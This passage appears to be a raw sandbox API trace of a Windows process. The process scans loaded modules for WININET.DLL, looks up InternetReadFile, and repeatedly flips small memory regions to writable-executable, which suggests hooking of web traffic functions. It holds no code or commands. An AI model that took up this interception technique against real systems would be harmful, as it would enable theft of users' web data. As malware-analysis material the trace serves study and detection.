(lpString1="WINTRUST.dll", lpString2="WININET.DLL") returned 1 [0082.437] lstrcmpiA (lpString1="SspiCli.dll", lpString2="WININET.DLL") returned -1 [0082.437] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.437] lstrcmpiA (lpString1="bcrypt.dll", lpString2="WININET.DLL") returned -1 [0082.437] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.437] lstrcmpiA (lpString1="pcwum.dll", lpString2="WININET.DLL") returned -1 [0082.437] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274eb48 | out: hHeap=0x2350000) returned 1 [0082.437] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x764e0000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x764e0000, AllocationBase=0x764e0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.437] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.437] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb48 [0082.438] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="WININET.DLL") returned -1 [0082.438] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.438] lstrcmpiA (lpString1="API-MS-Win-Core-Console-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.438] lstrcmpiA (lpString1="API-MS-Win-Core-DateTime-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.438] lstrcmpiA (lpString1="API-MS-Win-Core-Debug-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.438] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.438] lstrcmpiA (lpString1="API-MS-Win-Core-Fibers-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.438] lstrcmpiA (lpString1="API-MS-Win-Core-File-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.438] lstrcmpiA (lpString1="API-MS-Win-Core-Handle-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.438] lstrcmpiA (lpString1="API-MS-Win-Core-Heap-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.438] lstrcmpiA (lpString1="API-MS-Win-Core-Interlocked-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.438] lstrcmpiA (lpString1="API-MS-Win-Core-Localization-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.438] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.438] lstrcmpiA (lpString1="API-MS-Win-Core-Memory-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.438] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.438] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.438] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessEnvironment-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.438] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.438] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.438] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x754e0000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x754e0000, AllocationBase=0x754e0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.438] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.438] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb48 [0082.438] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x75050000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x75050000, AllocationBase=0x75050000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.438] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.438] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb48 [0082.439] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74ea0000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x74ea0000, AllocationBase=0x74ea0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.439] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.439] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb48 [0082.439] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74e90000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x74e90000, AllocationBase=0x74e90000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.439] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.439] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb48 [0082.439] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76c00000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x76c00000, AllocationBase=0x76c00000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.439] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.439] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb48 [0082.439] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76850000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x76850000, AllocationBase=0x76850000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.439] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.439] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb48 [0082.439] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x754d0000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x754d0000, AllocationBase=0x754d0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.439] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.439] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb48 [0082.439] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x757f0000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x757f0000, AllocationBase=0x757f0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.439] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.439] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb48 [0082.439] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76d00000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x76d00000, AllocationBase=0x76d00000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.439] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.439] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb48 [0082.439] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x75890000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x75890000, AllocationBase=0x75890000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.439] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.440] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb48 [0082.440] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76d60000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x76d60000, AllocationBase=0x76d60000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.440] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.440] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb48 [0082.440] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76650000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x76650000, AllocationBase=0x76650000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.440] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.440] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb48 [0082.440] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x756b0000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x756b0000, AllocationBase=0x756b0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.440] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.440] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb48 [0082.440] VirtualProtect (in: lpAddress=0x756b1150, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fd40 | out: lpflOldProtect=0x37fd40*=0x20) returned 1 [0082.440] VirtualProtect (in: lpAddress=0x756b1150, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x37fd40 | out: lpflOldProtect=0x37fd40*=0x40) returned 1 [0082.441] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb80 [0082.441] VirtualProtect (in: lpAddress=0x756b117c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fd40 | out: lpflOldProtect=0x37fd40*=0x20) returned 1 [0082.441] VirtualProtect (in: lpAddress=0x756b117c, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x37fd40 | out: lpflOldProtect=0x37fd40*=0x40) returned 1 [0082.441] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ebb8 [0082.441] VirtualProtect (in: lpAddress=0x756b1160, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fd40 | out: lpflOldProtect=0x37fd40*=0x20) returned 1 [0082.442] VirtualProtect (in: lpAddress=0x756b1160, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x37fd40 | out: lpflOldProtect=0x37fd40*=0x40) returned 1 [0082.442] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ebf0 [0082.442] VirtualProtect (in: lpAddress=0x756b1180, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fd40 | out: lpflOldProtect=0x37fd40*=0x20) returned 1 [0082.442] VirtualProtect (in: lpAddress=0x756b1180, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x37fd40 | out: lpflOldProtect=0x37fd40*=0x40) returned 1 [0082.443] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ec28 [0082.443] VirtualProtect (in: lpAddress=0x756b1154, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fd40 | out: lpflOldProtect=0x37fd40*=0x20) returned 1 [0082.443] VirtualProtect (in: lpAddress=0x756b1154, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x37fd40 | out: lpflOldProtect=0x37fd40*=0x40) returned 1 [0082.443] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ec60 [0082.443] VirtualProtect (in: lpAddress=0x756b116c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fd40 | out: lpflOldProtect=0x37fd40*=0x20) returned 1 [0082.444] VirtualProtect (in: lpAddress=0x756b116c, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x37fd40 | out: lpflOldProtect=0x37fd40*=0x40) returned 1 [0082.444] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ec98 [0082.444] VirtualProtect (in: lpAddress=0x756b11cc, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fd40 | out: lpflOldProtect=0x37fd40*=0x20) returned 1 [0082.444] VirtualProtect (in: lpAddress=0x756b11cc, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x37fd40 | out: lpflOldProtect=0x37fd40*=0x40) returned 1 [0082.445] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x768e0000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x768e0000, AllocationBase=0x768e0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.445] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.445] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.445] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76590000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x76590000, AllocationBase=0x76590000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.445] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.445] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.445] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74f30000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x74f30000, AllocationBase=0x74f30000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.445] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.445] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.445] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x752c0000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x752c0000, AllocationBase=0x752c0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.445] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.445] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.445] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x75140000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x75140000, AllocationBase=0x75140000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.445] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.445] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.445] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76b30000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x76b30000, AllocationBase=0x76b30000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.445] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.445] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.446] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74d40000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x74d40000, AllocationBase=0x74d40000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.446] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.446] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.446] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74d00000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x74d00000, AllocationBase=0x74d00000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.446] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.446] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.446] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74ce0000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x74ce0000, AllocationBase=0x74ce0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.446] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.446] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.446] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74cb0000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x74cb0000, AllocationBase=0x74cb0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.446] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.446] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.446] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74c20000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x74c20000, AllocationBase=0x74c20000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.446] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.446] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.446] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x77310000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x77310000, AllocationBase=0x77310000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.446] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.446] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.446] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x73c80000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x73c80000, AllocationBase=0x73c80000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.446] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.446] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.446] lstrcmpiA (lpString1="MSIMG32.dll", lpString2="WININET.DLL") returned -1 [0082.446] lstrcmpiA (lpString1="CRYPT32.dll", lpString2="WININET.DLL") returned -1 [0082.447] lstrcmpiA (lpString1="CRYPTUI.dll", lpString2="WININET.DLL") returned -1 [0082.447] lstrcmpiA (lpString1="VERSION.dll", lpString2="WININET.DLL") returned -1 [0082.447] lstrcmpiA (lpString1="WINMM.dll", lpString2="WININET.DLL") returned 1 [0082.447] lstrcmpiA (lpString1="MPR.dll", lpString2="WININET.DLL") returned -1 [0082.447] lstrcmpiA (lpString1="OCCACHE.dll", lpString2="WININET.DLL") returned -1 [0082.447] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0082.447] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0082.447] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="WININET.DLL") returned 1 [0082.447] lstrcmpiA (lpString1="IMM32.dll", lpString2="WININET.DLL") returned -1 [0082.447] lstrcmpiA (lpString1="msi.dll", lpString2="WININET.DLL") returned -1 [0082.447] lstrcmpiA (lpString1="USERENV.dll", lpString2="WININET.DLL") returned -1 [0082.447] lstrcmpiA (lpString1="WININET.dll", lpString2="WININET.DLL") returned 0 [0082.447] lstrcmpiA (lpString1="GetUrlCacheEntryInfoExA", lpString2="InternetReadFile") returned -1 [0082.447] lstrcmpiA (lpString1="InternetQueryOptionW", lpString2="InternetReadFile") returned -1 [0082.447] lstrcmpiA (lpString1="InternetGetConnectedStateExW", lpString2="InternetReadFile") returned -1 [0082.447] lstrcmpiA (lpString1="FindFirstUrlCacheContainerA", lpString2="InternetReadFile") returned -1 [0082.447] lstrcmpiA (lpString1="InternetGetCookieExW", lpString2="InternetReadFile") returned -1 [0082.447] lstrcmpiA (lpString1="InternetSetCookieExW", lpString2="InternetReadFile") returned 1 [0082.447] lstrcmpiA (lpString1="InternetQueryOptionA", lpString2="InternetReadFile") returned -1 [0082.447] lstrcmpiA (lpString1="InternetSetOptionW", lpString2="InternetReadFile") returned 1 [0082.447] lstrcmpiA (lpString1="InternetCrackUrlW", lpString2="InternetReadFile") returned -1 [0082.447] lstrcmpiA (lpString1="GetUrlCacheConfigInfoW", lpString2="InternetReadFile") returned -1 [0082.447] lstrcmpiA (lpString1="GetUrlCacheEntryInfoExW", lpString2="InternetReadFile") returned -1 [0082.447] lstrcmpiA (lpString1="DeleteUrlCacheEntryW", lpString2="InternetReadFile") returned -1 [0082.447] lstrcmpiA (lpString1="SetUrlCacheEntryGroupW", lpString2="InternetReadFile") returned 1 [0082.447] lstrcmpiA (lpString1="InternetGetConnectedState", lpString2="InternetReadFile") returned -1 [0082.447] lstrcmpiA (lpString1="GetUrlCacheEntryInfoW", lpString2="InternetReadFile") returned -1 [0082.447] lstrcmpiA (lpString1="SetUrlCacheEntryInfoW", lpString2="InternetReadFile") returned 1 [0082.447] lstrcmpiA (lpString1="InternetCrackUrlA", lpString2="InternetReadFile") returned -1 [0082.447] lstrcmpiA (lpString1="InternetCreateUrlA", lpString2="InternetReadFile") returned -1 [0082.447] lstrcmpiA (lpString1="InternetSetPerSiteCookieDecisionW", lpString2="InternetReadFile") returned 1 [0082.447] lstrcmpiA (lpString1="InternetGetPerSiteCookieDecisionW", lpString2="InternetReadFile") returned -1 [0082.447] lstrcmpiA (lpString1="InternetCreateUrlW", lpString2="InternetReadFile") returned -1 [0082.447] lstrcmpiA (lpString1="InternetConfirmZoneCrossingW", lpString2="InternetReadFile") returned -1 [0082.447] lstrcmpiA (lpString1="FindCloseUrlCache", lpString2="InternetReadFile") returned -1 [0082.447] lstrcmpiA (lpString1="FindNextUrlCacheEntryA", lpString2="InternetReadFile") returned -1 [0082.447] lstrcmpiA (lpString1="DeleteUrlCacheEntryA", lpString2="InternetReadFile") returned -1 [0082.448] lstrcmpiA (lpString1="FindFirstUrlCacheEntryA", lpString2="InternetReadFile") returned -1 [0082.448] lstrcmpiA (lpString1="PrivacySetZonePreferenceW", lpString2="InternetReadFile") returned 1 [0082.448] lstrcmpiA (lpString1="InternetClearAllPerSiteCookieDecisions", lpString2="InternetReadFile") returned -1 [0082.448] lstrcmpiA (lpString1="InternetShowSecurityInfoByURLW", lpString2="InternetReadFile") returned 1 [0082.448] lstrcmpiA (lpString1="InternetGoOnlineW", lpString2="InternetReadFile") returned -1 [0082.448] lstrcmpiA (lpString1="InternetInitializeAutoProxyDll", lpString2="InternetReadFile") returned -1 [0082.448] lstrcmpiA (lpString1="InternetSetPerSiteCookieDecisionA", lpString2="InternetReadFile") returned 1 [0082.448] lstrcmpiA (lpString1="InternetErrorDlg", lpString2="InternetReadFile") returned -1 [0082.448] lstrcmpiA (lpString1="CommitUrlCacheEntryW", lpString2="InternetReadFile") returned -1 [0082.448] 